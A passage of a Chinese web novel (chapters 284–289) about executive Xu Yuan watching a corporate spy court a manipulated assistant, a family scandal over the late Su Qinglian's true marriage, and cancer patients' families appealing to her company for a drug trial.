“嘘,别说了,许总和盛总以后到底什么关系谁也不清楚,万一不能走到最后呢,我听说盛三少也打算追求许总呢,都放话不让公司的人议论许总和盛总的事了。” 盛三也要追求许愿? 那能是喜欢许愿吗? 许愿上次在董事会上都已经把人得罪狠了,盛三都要恨死她了,怎么可能喜欢她,追求她无非是为了她背后的资产和能带来的巨大利益。 盛三再愚蠢也知道能追求到许愿代表什么,所以他愿意放低姿态做许愿的追求者。 现在盛景炎不在盛世,其他人也不会为了盛景炎得罪盛三,自然没有人提及许愿和盛景炎的关系。 维修工们不吱声了,只是看着宋观鱼的眼神多多少少带着点怜悯。 第284章 安排 宋观鱼跟着几个外国人学组装机器。 他的确天赋异禀,没几日就榨干师傅,开始独立工作。 他精通英语、德语、法语等多国语言,日常的沟通交流完全无障碍,还能深奥的论文和专业资料,也就是当初没好好念书,不然也确实是可造之材。 起初,几个外国人对他很排斥,后来竟慢慢被他征服,想把他挖到国外总部去。 盛世的机械师看在眼里,爱才惜才,不用许愿暗示就主动说要把宋观鱼调到机械工程部,当成人才重点培养。 她也确实是给宋观鱼找了个好去处。 宋观鱼确实没有辜负许愿的期待,到了机械工程部每日都在看资料学习。 中午,工程部的员工师傅们已经去工作了,只有宋观鱼还在废寝忘食的看资料,桌子上只放了一块面包和一瓶牛奶,这就是他的午饭了。 许愿临时到工程部有事,是段星河那边急需要一种仪器,助理不清楚是哪种,段星河要的急她才跑了这一趟。 找到仪器让助理给段星河送过去就看到此刻本该休息的宋观鱼还在看资料。 “这个时间了还在学习?”许愿问了句,宋观鱼愣了下,抬头看到许愿眼睛都跟着亮了。 “刚好我点了外卖,跟我去办公室一起吃,我这里有几份资料要传给你。”许愿走到宋观鱼身边发出邀请。 她是真的在培养宋观鱼,这样的好苗子,总要培养成自己人。 宋观鱼满脸不好意思:“我不饿,许总你不必在意。” “不饿?你这身高体型只吃面包牛奶?”许愿轻啧一声:“别跟我客气,走吧。我点了一堆东西。” 宋观鱼本就不打算拒绝,美滋滋的跟上,眸子里满是窃喜。 宋观鱼的思绪已经放飞,脸上的笑容却愈发羞涩腼腆,像只被捡回家的大狗。 许愿道:“以后也不必这么拼命,把我发给你的资料数据都看懂了就够了,按部就班来,不用太辛苦。” “好!”宋观鱼答应地飞快,看不见的尾巴在屁股后面狂摇。 宋观鱼低下头,嘴巴都快笑咧了。 就在这时,楼梯间的门被推开,一个穿着白大褂的年轻女人走进来。 许愿和宋观鱼站在上一段台阶的转角,并未被发现。 “我已经买好票了,你明明答应跟我一起去的。”女人举着手机,似乎在跟人视频,嗓音里带着哭腔。 原本还想继续走的许愿愣在原地,不知道该退该进。 女孩子都哭了,她和宋观鱼忽然出现,场面肯定尴尬,若是继续藏在拐角,又不礼貌。 许愿看向宋观鱼,眼里带着询问。 宋观鱼悄悄后退,把许愿拉上台阶,藏进看不见的角落。 “我让你买前排VIP的票,你给我买后排的票,我听个屁啊?”手机里传来一道不耐烦的男声,训斥个没完,“真是的,每次让你干点事,你都干不好!除了我,谁能忍你?” “对不起我没能抢到前排的票。”女孩卑微地道歉,声音充满内疚。 “那还去什么去!”男人的声音更加不耐烦。 “可是票已经买了,每张票都要上千了。”女孩低声嗫嚅。 “我朋友想去,你把票给我,我让我朋友去。” “我们不能去吗?” “后排那么远,你让我听什么?你现在就让人打车把车票给我送过来!”男人语气里面都带着命令 “要不我找黄牛吧。黄牛那里应该有VIP票。”女孩不甘心,打开微信在群里找人。 视频通话还在继续。 上半层的楼梯转角,宋观鱼拿出手机,打开微信,跟许愿聊天。 【这个女的被PUA了。】 【她男朋友拿到票,肯定会带别的女人去看演唱会。】 许愿点点头。 【我们要不要帮她】 两人互相对视,许愿顿了下,同为女性她当然想去帮一帮阻止这样的闹剧,但这样横加干涉旁人的决定,有时候还可能会结怨。 忽然,门被推开,一道修长的身影走入这个昏暗的空间,轻轻一咳,点亮了头顶的白炽灯。 两人都未开口,只是目光落在外面。 许愿竖起食指,做了一个噤声的动作,却敏锐的看到走入楼梯间的人是陆飞博。 容浔安排进盛世的间谍。 宋观鱼侧耳细听,他也发现走进楼梯间的第三个人是陆飞博。 他记得对方的声音。 “李小姐,听说你手里有张天王演唱会的门票?我没抢到,你有多余的能卖给我吗?”陆飞博的话解救了两头为难的年轻女人。 “有的有的,我有两张,你要吗?”女人语气急切,从口袋里掏出两张票。 这时,一直关注这边她的男友气愤呵止道:“你不能把票卖给别人!” “可是卖了这两张票,我就能省下一笔钱去找黄牛买VIP票。我想跟你一起去!”女人几乎再恳求。 “你把这两张票给我,你自己再去找黄牛。”男人算的清楚,就是不打算让她把票出了。 女朋友的钱,他浪费起来一点儿也不心疼。 宋观鱼额角的青筋鼓了鼓,下颌线绷紧。 【这男的真无耻!】他在手机上打字,屏幕转过去,给许总看。 许愿微微摇头,眼睛警惕地看着下方。 宋观鱼只能陪着许愿继续观察。 “李小姐,其实我来到盛世第一天就喜欢上你了,请问我有机会买下你手中的演唱会门票和你约会吗。”陆飞博忽然打了一个直球。 年轻女人呆住了。 她的男朋友已经炸锅了,污言垢语张口就来,完全不顾及她是自己的女友。 “你是不是早就背着我跟这个男人搞到一起了!” “贱人!我早该知道你是个贱人!” 年轻女人又羞又气,委屈地哭起来。 陆飞博向前一步开口:“李小姐这么好的姑娘,你作为她的男友怎么能如此污蔑她,如果她是我的爱人,有人喜欢她我只会为她高兴,因为她足够优秀,而不是像你这样大肆辱骂,照我看,你根本就不爱李小姐。你只是把李小姐当成提款机吧?” 第285章 理科状元 李晓芸的哭泣声忽然停止。 能在研究所里上班,她智商不低。 一直以来,她大概也很清楚男朋友对自己没有真感情。 或许她也想摆脱这段糟糕的关系,却早已在日复一日的精神控制下失去了反抗的能力。 陆飞博的出现是一个契机,也是一条出路。 “那两张票,我,我卖给你。”女人声音哽咽,语气却已平静。 她的男朋友反倒失去理智,不断吼叫咒骂,丑态百出。 “贱人!那是给我的票!你敢卖!” “你竟然真的敢背着我跟这个小白脸在一起!你疯了吗!” “你好吵!我要跟李小姐商量去听演唱会的事,请你不要打扰我们。”陆飞博似乎夺过了年轻女人的手机,关掉视频。 “别哭了,我带去你洗脸。这种人配不上你……” 门被推开,发出轻微响动,温柔的劝慰声慢慢远去。 没有人观察到陆飞博眼底露出的锋芒。 过了好一会儿,许愿和宋观鱼才从楼梯拐角走下来。 “这个陆飞博我认识。面试的时候他跟我搭过话。”宋观鱼沉吟道:“我以为他是一个狡诈奸猾的人,没想到这个人还可以,算是个男人。” “狡诈奸猾?他做了什么给你留下这种印象?”许愿拧眉追问。 宋观鱼:“……” 这个问题要怎么答?他能说自己其实是隔壁市首富的儿子吗?那许总不会生气自己欺骗她吗? 宋观鱼怂了一下,不敢想这后果只能模棱两可的开口:“我就是觉得那天我染了一头紫毛穿着皮衣一看就是个混子他还接近我,眼睛李都带着算计,看着不像好人。” 许愿实在没忍住笑出声:“你也知道你自己那天打扮的不像好人呢。” 看到许愿笑,宋观鱼眼睛眨也不眨的看着她,心尖微动。 宋观鱼沉浸在许愿的笑容中,却没注意到许愿的目光早就转到另一侧。 那位李小姐她是见过的。 李晓芸,段星河的助理,月薪五万起步,其他提成奖金另算,零零散散的算下来年薪也要有百万起步,这样高智商的人竟然会轻易被男人PUA。 而被PUA控制后的人群其实已经没有主见了,很轻易的就会被人掌控。 她是段星河的助理在工作中能接触到很多机密。 陆飞博接近对方是因为喜欢,还是因为别的? 如果真的只是喜欢…… 其实有点可笑,不怪许愿带上有色眼镜看待这件事,因为李晓芸的相貌连清秀都算不上,甚至身材有点走样偏胖,她当然相信李晓芸也能遇到喜欢她的真命天子,但是……她的相貌不足以让人一见钟情。 可陆飞博这样讲,她却轻易的相信了。 陆飞博士为了机密文件吗? 那找李晓芸算是找对了,她很容易就能被控制住。 陆飞博啊,该说不愧是容浔找来的间谍吗。 许愿眸光微微闪过几许暗芒,这件事需要找时间跟段星河提一下。 “走吧,去我办公室吃饭。” 许愿敛去目中的怀疑和警惕对宋观鱼开口。 发现陆飞博与李小姐走得越来越近,许愿又拾起了对陆飞博的兴趣。 现在,许愿几乎每天都会去食堂,默默观察陆飞博的一举一动。 只有在吃饭的时候,段星河的研究员们才能离开实验室,与研发部的其他职员碰面。 食堂变成了陆飞博与李小姐约会的场所。 李小姐似乎与男朋友分手了,有一段时间心情非常低落。陆飞博在饭桌上努力调节气氛,说笑话,讲故事,分享工作中的趣闻,慢慢引导李小姐走出阴霾。 两人渐入佳境,常常相伴出现。 但不过是半个月的时间两人分开了,见面的时候不打招呼,擦肩而过,分道扬镳,比陌生人还不如。 这是闹掰了? 许愿并不认为自己看见的就是答案。 越是避嫌,说不定私下里关系越深。 收到薛酒那边传来的信息,李晓芸和陆飞博并没有分道扬镳,甚至两人晚上去酒店开房睡在一起。 得到这消息,许愿微微皱眉眼眸微泛冷光。 陆飞博必定是在操纵一盘棋,段星河最近的研究资料,他想要什么?是癌病相关的数据还是智能系统的数据? 许愿在办公室内列出了表格,在陆飞博头顶划出了一个问号。 这人身份复杂,其实她已经不清楚这人到底是容浔的人还是远程或者其他集团的人了。 一个月时间高考成绩已经出来了。 A市理科状元果然是苏逸,满分750分苏逸考了732分。 苏逸成为理科状元果然冲上热搜,所有人都没想到苏逸参加高考当天车祸轻微脑震荡甚至是右手臂骨折却还能坚持到考场成为高考状元。 苏逸车祸后浑身是血的视频再度被扒出来。 当初苏逸还不是高考状元只能说是状元预备役是A市实验一高的优秀学生,那时候就已经掀起热潮,这次苏逸真的成为状元,车祸的事情被扒出来,许家人和苏家人做的那些烂事儿也都被扒出来。 这些人险些毁掉苏逸的一生。 无数人在网络上纷纷为苏逸发声,苏正坤和苏浩天被判的更重,但真正的罪魁祸首导致苏逸遭受这一切的许镇江却仍然安稳度日。 哪怕是许愿利用舆论都没能让人查到许镇江真的做了任何违法犯罪的事情。 已经有记者堵到许镇江家门口逼问。 许镇江躲在别墅内不敢露头,整个人又慌又怕。 许宁看到许镇江这副怯懦害怕的模样气不打一处来。 “爸!你在怕什么!” “傅总都说了已经帮我们摆平了,他们没有证据能证明那些事情是你做的,你就出去跟他们对峙啊!” 许宁咬牙:“你不是说过吗,苏逸不是你的儿子,那是苏青莲背着你跟其他男人生下的贱种,只要你说这些,那些男人就会像蛆虫一样跟你共情同情你!他们会认为苏逸落得这种下场是活该,不会再有人怪你的!遭受背叛的人是你!” 许镇江身体都在颤抖,这阵子发声太多事,许镇江仿佛苍老了数岁。 第286章 采访 许镇江唇瓣都是干涸的,此刻眼底都藏着恐惧。 “不行……不能这样……他们不能骂苏青莲……” 都到这一步了,许镇江还是不肯说苏青莲一句不是。 许宁气到整个人浑身都在发抖。 “明明是个坏事做尽的烂人现在又在装什么纯爱!你爱苏青莲苏青莲爱你吗!苏青莲早就背叛你了!她不爱你!她还要设计你陷害你!那不是你说的吗!如果不是苏青莲设计你,你又怎么会跟我母亲睡到一起有了我!” “她苏青莲才最是恶劣恶毒!是她毁掉了一切毁掉了我们所有人的人生!她才是罪人!” 就是苏青莲的错! 如果不是苏青莲,她的母亲不会成为小三,那她就不会是私生女!全都是因为苏青莲让她这一辈子都无法抬头! “你给我闭嘴!你不许这样说她!” 许镇江听到许宁侮辱肃清李爱你整个人面色狰狞,一耳光狠狠地甩到许宁脸上:“你给我闭嘴!” “你不能说她!不能!” 他力气太大,许宁被打的踉跄几步,脸颊都是肿的。 她承受不住的捂住自己的侧脸,突然发出“咯咯”的笑声,然后眼神中都带着戾气。 “我不能?我为什么不能?我不仅能当着你的面侮辱她,我还要对那些记者说苏青莲是个贱人!” 许宁推开许镇江冲出别墅大门,将门反锁。 “你给我回来!许宁你疯了!不许!你不许!” 许镇江目赤欲裂疯狂的叫喊着许宁的名字,却只能看到许宁的背影。 记者门早在别墅外守了一段时间了,看到有人出来,摄像机灯光全都对准来人,见到来人是许宁,有些聪明的已经猜到这人是许镇江的私生女,立刻开始逼问。 “许小姐,请问你知道你父亲背着你做了这些错事吗?” “请问您父亲为什么敢插手参与高考大事,是背后有什么人指引控制吗?” “许小姐知道苏逸成为了A市的理科状元吗?您知道您的父亲险些毁掉一名状元吗?他可能会毁掉对方的一生,请问您会对此心生愧疚吗?” “请问傅氏的傅总有对这件事发表什么看法吗?” “许小姐您回应一下?” “许小姐……” 所有的记者都冲上来,七嘴八舌的询问许宁。 许宁有些头晕目眩,却还是站稳了,掷地有声的开口。 “你们认为我父亲做错了吗?” “你们知道苏逸是什么身份吗?” 记者们当然不知道,他们就是知道苏逸成为高考状元趁着这热度来采访许镇江然后写一篇报道,至于苏逸?足够优秀就够了,谁管对方的身份。 “苏逸是我父亲的妻子苏青莲跟别的男人乱搞诞生的子嗣!他根本就不是我父亲的孩子,是苏青莲背叛了我父亲。” “苏逸的出生就是错误。” “他是婚外情的产物,哪怕他真的这样聪明他也只是个出身卑劣低贱的产物,永远无法登上大雅之堂。” “我父亲做错了什么?” “他只是不想为自己的妻子养育这样不属于自己血脉的孩子他有错吗?” “十几年前苏正坤还是一名优秀的教师,谁会知道苏正坤后期会变成烂赌鬼会做那些遭人唾弃的事?” “我父亲已经极力要为苏逸找个好去处,他已经仁至义尽,总不能让他这十几年来继续去关注自己死去妻子留下的这个耻辱的子嗣给他庇佑,我相信这世界上男性都做不出这样的事。” “做错事的是苏家父子,不是我的父亲!” 记者们都震惊了。 万万没想到会得到这样的结果。 怎么会跟苏青莲有关系的! “苏青莲……苏青莲不会做这种事的,我明明听说这个孩子是苏青莲跟许镇江离婚后才有的,而且许镇江还背叛了苏青莲,不然为什么会有你这个私生女!” 记者们就有苏青莲的粉丝,此刻镜头对准许宁,开口咄咄逼人。 “哈,我父亲背叛苏青莲?” 许宁冷笑。 “那你要不要去下面问一问苏青莲,她为什么要把所有人都当小丑来玩弄?我父亲从没想要背叛她!是苏青莲恶劣到设计了我的母亲河父亲让他们睡在一起,她就是要让我的父亲成为罪人,而她就是那个被伤害的无辜受害者!” 她要有多恨呢! 她以为许镇江跟自己才是同一条船上的人,可许镇江是个恋爱脑,满脑子都是苏青莲,但凡是可能伤害到苏青莲的事情许镇江就不肯做。 她倒是只能孤军奋战了,多可笑。 一群记者所有人都傻眼了,所有人都没想到会有这样的变故。 “许小姐您的意思是许镇江先生并没有想背叛苏青莲吗?” “许小姐为什么会知道这些事呢?” “许小姐给个解释吧,请问您有证据吗?您知道这有可能是诬陷吗?” 记者们七嘴八舌完全不肯安静。 许宁嗤笑一声。 “那你们就要去问苏青莲了。” 许宁对着镜头,突然冷笑一声:“是吧,苏青莲。” 她的笑意都带着刺骨的凉意。 有记者一直在直播,许宁对着那则镜头莞尔露出笑容。 “我知道大家都在看,我承认我是我是私生女,我的出生是错误,但……这一切都是苏青莲酿造的恶果,苏青莲阴险狡诈满腹心机,她就是要做出自己是无辜受害者的假象,我父亲没有错,错的是苏青莲。” “苏青莲,你承认吗。” 一直在直播的记者被她此刻阴冷的笑容吓得抖了下,后退几步“啪”的摔到地上,镜头整个摔碎,直播界面彻底黑屏了。 关注直播的吃瓜群众网民都炸锅了。 “许宁到底是什么意思!卧槽卧槽我浑身汗毛直立啊!” “什么叫做是苏青莲设计了这一切,苏青莲就是个普通女人,她能设计什么啊,这不是无中生有胡说八道吗!” “谢邀,介绍一下大家还记得许愿吗?参与洪门谈判让国内资本真正入了外国人眼为国争光的那个许愿大家还记得吗。” 第287章 他娶的是另一位苏女士 “苏青莲就是许愿的母亲,苏青莲,华国首位提出要研究3D全息的女性,前阵子她的手账本都被拍出天价,同时期还在国外拿过设计大奖。苏家大小姐,被当做继承人养大的,她可以是狼可以是虎但绝不可能是病猫,所以当年苏青莲被欺辱自杀这件事我本就不信!” “我就说!苏青莲那样的女人!到底是什么混账东西敢背叛她啊!苏青莲啊!那可是苏青莲啊!知道这人原来在商圈混的时候有多混蛋吗!你敢招惹她她就敢让你的公司直接破产倒闭!你们以为许愿狠吗!跟苏青莲比起来许愿是心慈手软了!” “背叛苏青莲?许镇江算是个什么东西敢背叛苏青莲,他前脚敢背叛苏青莲,苏青莲下一秒就能阉了他,所以这段话我是真的信!” 跟许家的事有关,关注这件事的都是上流圈子的,炸出来太多人。 网络上沸沸扬扬的全都在讨论这件事。 “所以……真的可能是苏青莲设计许镇江出轨吗?她图什么?” “因为玩腻了想离婚吧。” “世界上到底为什么会有这种女人啊!” “你们是不是跑题了,重点难道不是许宁最后那几句吗!许宁对着镜头说的那几句话显然是对苏青莲说的,她是什么意思,是想说苏青莲还活着还在关注国内吗!我真的浑身鸡皮疙瘩都起来了!” “不是……那苏青莲这么瞧不上许镇江,那她真能跟许镇江同房吗?许愿是她跟许镇江的孩子吗?我怎么觉得许愿都可能不是许镇江的种?许镇江那么蠢,就算苏青莲再聪明,可但凡有许镇江的基因都不可能生出许愿这样的女儿,许愿在商场这么大杀四方的……怎么看都不像是许镇江那废物啊。” “我靠那不是就能说明许镇江为什么处处针对许愿了!这是不是说明许愿和苏逸其实这姐弟两人都不是许镇江的孩子!许镇江这么疼许宁,这是不是说明真的只有许宁这个小三生的私生女才是他的血脉!” 所有人都被这猜测震惊了。 话题讨论度越来越高,有人在讨论苏青莲,有人在询问许愿是不是苏青莲跟别的男人的子嗣。 最后甚至被人买了一把热搜转到苏逸身上。 有人在可怜许镇江被一个女人设计,有人调侃如果自己能跟苏青莲绑定自己也愿意被苏青莲设计,毕竟苏青莲又没有设计别的,设计的只是让自己跟一个美女睡觉,怎么都不亏。 也有人在嘲讽今年A市的理科状元是个私生子。 关于苏逸的讨论度果然上来了,全都是唱衰苏逸的。 不管苏青莲再如何优秀,但是苏逸确实不是许镇江的孩子,这是事实,逃不开躲不掉的真相。 甚至已经有人大骂今年的高考成绩需要作废,他们嘲讽苏逸的出身,贬低他辱骂他。 这样的热搜一直挂在微博上,一直没有撤下去。 许宁一直关注热搜,她洋洋自得,她就是要毁掉许愿毁掉苏逸。 许镇江在家里面被气到心脏病发,吃了药醒来的第一件事就是指着许宁鼻子骂。 “你为什么要那样说!你去给我解释清楚!是你母亲勾引的我!跟苏青莲没有关系!” 许宁一把将他推开连连冷笑。 “都这时候了你还在乎苏青莲有没有好名声?你恋爱脑你在乎她可她根本不在乎你!我母亲是有心勾搭你,但若不是苏青莲设计,你们也睡不到一起去!” “那也不许……” 许宁将手机摆到他面前。 “你看看清楚,现在挨骂的是苏逸!不是你心心念念的苏青莲!” 听到这句话,许镇江终于安静下来。 许宁偏头死死盯着许镇江终究是暗自咬牙,气到一定程度再一次买了水军在网络上辱骂苏逸。 倏然,微博上多出了一条新热搜。 #盛世抗癌药物 苏逸段星河# 许宁整个人都在此刻呆滞了。 她身体僵硬,不受控制的点开热搜。 那是很长一段话术,但要表达的意思就是苏逸和段星河以及许愿和后面一长串的研究员名单,但许宁看不到别人,她就看到了为首的三人。 这些人一起研究出了抗癌相关的药物,癌症早期患者前期可以服用药物遏制癌细胞生长,就是癌症晚期的患者都能服用药物缓解痛苦延长寿命。 现在盛世已经在网络上寻找参与研究的人,前提是,没有对许愿姐弟及盛景炎辱骂的人才能参与这个实验资格。 疯了吗。 许宁想,是她疯了还是这个世界疯了? 是她看错了还是微博的新闻发错了? 怎么会有人真的在短时间内研究出抗癌相关的药物? 苏逸才多大?那些研究员那么多年都没能研究出来的东西,凭什么她这么轻松的就研究出来了? 这就是基因智商的差距吗,就因为他们是苏青莲的血脉,就可以优秀到这种地步,是他们普通人穷极一生都无法追求的高度! 她还能怎么设计苏逸呢? 他都有这样的成就了,她还能设计苏逸吗? 没有人会想要得罪这样的研究学者,是的,苏逸现在都可以被称一句研究学者。 所有人都怕死,他既然这么年轻就能研究出这种药物,那以后是不是能研究其它药物?有钱人也好普通人也好都怕自己会患病,万一以后苏逸能救他们呢? 网络上辱骂苏逸的人纷纷开始删除评论,但盛世发出一条微博。 盛世:【删除评论没有任何用处,我们已经保留数据截图取证,所有辱骂苏先生的都不能参与此次实验。】 这句话,简直是将火烧到了许宁的身上。 许宁看到这条微博的一刻就猜到了,这是来自于许愿和苏逸的报复。 那群人之前是如何辱骂苏逸的,接下来就会如何辱骂她! 还不等那群人反应过来骂人,许宁就看到有一家海外公司公布了苏青莲和许镇江之间的关系。 当年和许镇江领证的苏青莲根本不是他们以为的那个苏青莲! 第288章 真相 许镇江娶的一直都只同名同姓的苏青莲!换句话说是所有人都被苏青莲耍了! 从头到尾苏青莲跟许镇江都没有过夫妻关系,她对许镇江只有利用! 放出的那则信息赫然就是许镇江和另一位名叫“苏青莲”的女士的结婚照和结婚证明。 海外公司发布了简短的解释,但是都能看出那是什么意思。 无非是告诫某些人,苏逸和许愿都不是许镇江的孩子,他们是苏青莲的血脉与许家没有半点关系,而许镇江出轨的事也确实事实,他在跟另一位苏女士婚姻存续关系间跟许宁的母亲发生关系有了许宁。 婚外情的只有许镇江。 许宁眼前一黑。 怎么会这样! 怎么能这样! 苏青莲为什么要这么做? 苏青莲这么做的目的很简单,她为了混淆视听,为了让唐家人放下戒备,让唐家人以为她真的收心嫁给了其他男人。 她选择的就是那个跟唐青江有几分相似但却是个蠢货的许镇江。 她用大笔金钱利益跟许镇江谈拢让他跟另一位苏女士领证结婚,她在外营销跟许镇江是幸福美满的夫妻关系,等到唐家人松懈后盗走唐青江的基因甚至盗走唐青江的身体。 从头到尾都是苏青莲设计的异常闹剧,偏偏……许镇江这种纯种的渣男也动了心。 许镇江将那场婚姻当了真,他忘记了自己的“妻子”是另一位苏女士,而非这位光芒万丈的苏青莲,他已经将自己当做苏青莲真正的丈夫,他一次次的触及苏青莲的底限才让苏青莲在沉默中反击。 她就是要让许镇江清楚,他们之间绝无可能。 所以她设计许镇江跟许宁的母亲发生关系有了许宁,这一切确实是苏青莲设计的。 可即便如此,许镇江还是深爱着苏青莲,在他心里唯一的妻子只有苏青莲,哪怕是知道苏青莲是假死离世也帮她遮掩,他一遍遍的告诉自己,自己是苏青莲的丈夫,这种谎话说得多了他自己都将谎话当真了。 苏青莲一直都是干干净净的,她没有嫁过人,没有跟许镇江发生过关系更没有跟他育有子嗣。 许镇江被衬得像个笑话。 那则通告衬得许宁像个傻瓜,她在记者直播的时候那样污蔑苏青莲和苏逸,结果最终真相被揭露,苏青莲是无辜的,真正有婚外情的还是许镇江。 苏逸不是私生子,苏青莲更不是破鞋。 她豁出去自爆,最终能证明的只有自己的母亲是小三,自己是私生女。 哈,什么啊…… 就好像所有的一切都被人操控策划,就好像苏青莲早就知道会有这样一天,不然为什么会在这样敏锐的时期有一家海外公司曝光这些。 是她太看得起自己了,才妄想去污蔑苏青莲。 早知如此她该听许镇江的,她怎么能去招惹那样一个疯子! 可如今如何后悔都已经晚了。 网络上已经骂开了,这次全都在安抚苏逸,骂的则全都是许镇江和许宁了。 “真是笑死个人了,谁来再为许镇江开脱试试啊?许镇江娶的是另一个苏女士,而苏青莲当时因为身份原因跟许镇江达成合作关系给了他多少钱?当时的苏家有多少资产?苏家公司给了他,房产给了他什么都给了他,结果许镇江怎么做的?他自己心里不清楚苏青莲不是他妻子吗?他比谁都清楚!但就是在苏青莲把孩子托付给他照顾后还是要将苏青莲的儿子送出去,许家缺这孩子一口饭吗!苏青莲给的那些钱难道还不够多养一个孩子吗!许镇江就是个混蛋!” “我看是许镇江太把自己当回事,真把自己当苏青莲的丈夫了,所以才会对苏逸抱有恶意,真是好笑,怎么不照镜子看看自己配被苏青莲喜欢吗!” 这些都是圈子里见过苏青莲的人在嘲讽。 有些年轻人不清楚苏青莲为什么能在圈内网络掀起如此大的波澜,张口问了句“苏青莲到底多优秀啊”,才问了这话,就有人发放出了十几年前的一张晚宴图片。 那是一张老照片了,黑白的照片,但一眼看去就是会将目光落到中间那人身上,仿佛整个空间都被她的存在点亮。 她不过是一席简约的黑色长裙,却如同夜空中最耀眼夺目的星辰,衣裙完美勾勒出她婀娜的身材曲线,目光落到她的脸上,容貌明艳迤逦宛若一副精心绘制的画卷,让人一眼难忘。 那张脸要如何形容,眉目如画,双眸明亮而深邃,唇瓣微启露出淡淡的微笑。 她仿佛在看镜头。 那双眼眸闪烁着像是在说话。 好像这一刻隔着遥远时空对着网络另一端的人微微点头。 这只是一张普通的黑白照片,但看过的人却都会因为她那样令人惊叹的美貌久久无法回话。 许久后微博几近瘫痪,几乎都是在讨论苏青莲的美貌。 “靠靠靠!如果这是苏青莲!那我明白为什么当年那么多金融大鳄资本家都因为她终身不娶,就是结婚了的都为她写情事和备忘录,这样的容貌才情,换做是谁都要被记一辈子的!” “谁能懂,她的容貌,让人看了后浑身激起鸡皮疙瘩啊!” “苏青莲长这样,怪不得许愿有那样令人惊艳的美貌!” 所有人都爱美人,几乎都在这一刻讨论苏青莲的美貌,但是下一刻,有关于苏青莲的贴全都被清除,特别是流传出的那张照片都被清除。 仿佛是被捂嘴不让人提及苏青莲。 甚至这个名字都成了违禁词不能被人提及。 而话题还在被不停的往许宁和许镇江身上引导,终于逐渐回归正题。 一切都被引到癌病患者身上,那些人的诉求逐渐被人看到。 “我父亲已经癌病晚期,我一直照顾父亲到处求医无果,现在恳求盛世能给我父亲一个机会,我是混蛋在没有得知真相前就出口污蔑苏先生,求求盛世能给我个机会……” 这是还算有礼貌的,有些暴脾气的已经对许宁破口大骂,张口闭口都是脏话。 许宁眼前又是一黑,险些被气晕过去。 第289章 她有这个能力 “我爸就是肠癌晚期,现在每天疼的睡不着觉,在医院化疗也没用,医生已经说要我带着父亲回家跟家人享受最后的时光了,我父亲是我这辈子最敬重的人,我不能没有我的父亲,我耗费了所有家产只想留住我父亲的命,恳求盛世给我父亲一个机会……” 盛世官博下面已经全都被癌病患者家属占满了,他们都在恳求盛世能够给他们家人一个生的机会。 C市偏远地区一座老旧的房子里,一名一桌干净朴素的少年死死盯着手机上盛世发布的最新消息,眼泪几乎都快落下。 “哥,你有救了,你有救了!盛世已经研究出了真正的抗癌药物,现在正在寻找自愿接受实验的人,有了这个药你的病一定会好的!” 老旧的房子内没有多余的装饰,墙壁上挂满了奖状,桌子上是厚厚一沓证书,证书上写着江盛。 桌案上是黑白照片,是兄弟二人逝世的父母。 躺在病床上的少年咳出血,他虚弱的靠在床上,声音很轻:“江盛,看那些没有用的,就算研究出了抗癌的药也不是我们能负担起的,那笔钱不能动,那是你念书的钱。” “得了这种病早完都是个死,不必花那个冤枉钱。” 少年的兄长年龄并不算大,他相貌清俊,却被病痛折磨的瘦骨嶙峋。 “盛世说……盛世说这个药能延缓人的寿命,哥,他们可以救你的!” 江盛就这样看着自己的兄长,他不甘心兄长就这样去世。 “盛世说可以找人实验的,哥我去求盛世!” “江盛!” 江恒喊着他的名字似乎是想让他清醒,江盛眼里都是不甘。 “哥,万一呢,万一盛世同意救你呢!” 江盛一定要试,他们父母多年前去世,他兄长那样成绩优异的人为了照顾他辍学打工,这些年去工地做过劳工,去送过外卖送过快递,什么地方给钱多他就去什么地方,为了省钱有时一整天都只吃一顿饭,还是自带的干硬的馒头就着水吞下,他攒了那些钱全都是为了他。 他成绩优异吗?那是兄长的前途和未来换来的。 他和兄长相依为命,他不能眼睁睁的看着兄长真的出事而自己却什么都不做。 江盛翻找出医院前日下的胃癌晚期的通知书,发到盛世微博下面声泪俱下恳求给自己兄长一个生存的机会。 “没用的。” 江恒像是自嘲的嗤笑一声。 “就算是参与实验的人也是需要经过层层挑选的,上流圈子的人花费重金都不一定能求来的资格,不可能会给我们这种在底层挣扎的普通人机会。” 江恒在外工作这些年太清楚那些资本的操作,没有钱的普通人,早就被剔除在规则之外。 江盛似乎已经渐渐接受了江恒的说法。 突然,手机发出“叮”的一声。 江盛整个人怔住,他的手都在颤抖,是许愿的回应。 【许愿】:带你哥来盛世。@小江 只有六个字。 带你哥来盛世。 “哥!!” 江盛眼眶都红了,他整个人激动的险些跳起来。 “哥!许愿回我了,她说要让我带你去盛世!是许愿回应的我啊!” 许愿…… 江恒整个人顿住。 他还记得这个名字。 两年前他在A市工地工作时就曾经为傅氏建过酒店,近距离接触过许愿。 他记得清楚,那时候他深夜守夜在保安亭开着灯看书,那时间许愿作为傅氏的高层视察,看到他在看书并没有斥责,只是翻阅了他看过的书籍,夸他的品味很不错。 直到离开前才提了一句:“有机会的话,继续念书。” 她甚至留下名片说道:“有需要帮助的地方可以联系我,或者联系A大基金会,会有人帮你。” 她是看他还年轻,不想他蹉跎年华。 但那时正是江盛升学最重要的时候,他急需用钱而且因为自己的身份也不敢去联系他。 后来再见到许愿还是他在工地被砸晕,许愿代表盛世高层来慰问,给了他一张卡作为补偿,那张卡就是他现在为江盛留下的最后的保障。 江恒是后来才知道,傅氏是有补偿,但并没有那么多钱,多出来的钱是许愿代表A大基金会资助的一笔钱,她什么都没有提,只是来看望他时带了花篮,她还是那句话。 有机会继续读书。 江恒少年时期还未成年就出来打黑工,见过社会阴暗面,遇到过数不清的恶人,也遇到过温柔的和善的人,但更多的事面无表情的路人,而许愿,就是他遇到的最温柔的人。 她不会戳中他敏感的心扉,却仍然愿意伸出援手。 哪怕他自己都清楚他只是个底层人,可能一辈子都无法回应她报答她。 “是……傅氏的许愿吗。” 江恒哑着嗓子问。 “不是傅氏的,许总早就从傅氏离职了,现在许总在盛世工作,是盛世的总裁。” 不是傅氏的,已经从傅氏离职,现在是盛世总裁? 江恒听着他的近况抬手捂住自己的发红的眼睛。 “她有这个能力。” “如果是许愿,那我或许还能多活一段时间。” 这是他对许愿的绝对信任。 许愿,是曾经将他短暂从泥潭伸出拯救拉出的人。 许愿不单是回应了江盛的请求,那些在盛世评论区下面放出自己亲人癌病晚期的人,只要放出记录的都收到了许愿的回应接听到了来此盛世的电话。 许愿这样的举动与做慈善无异。 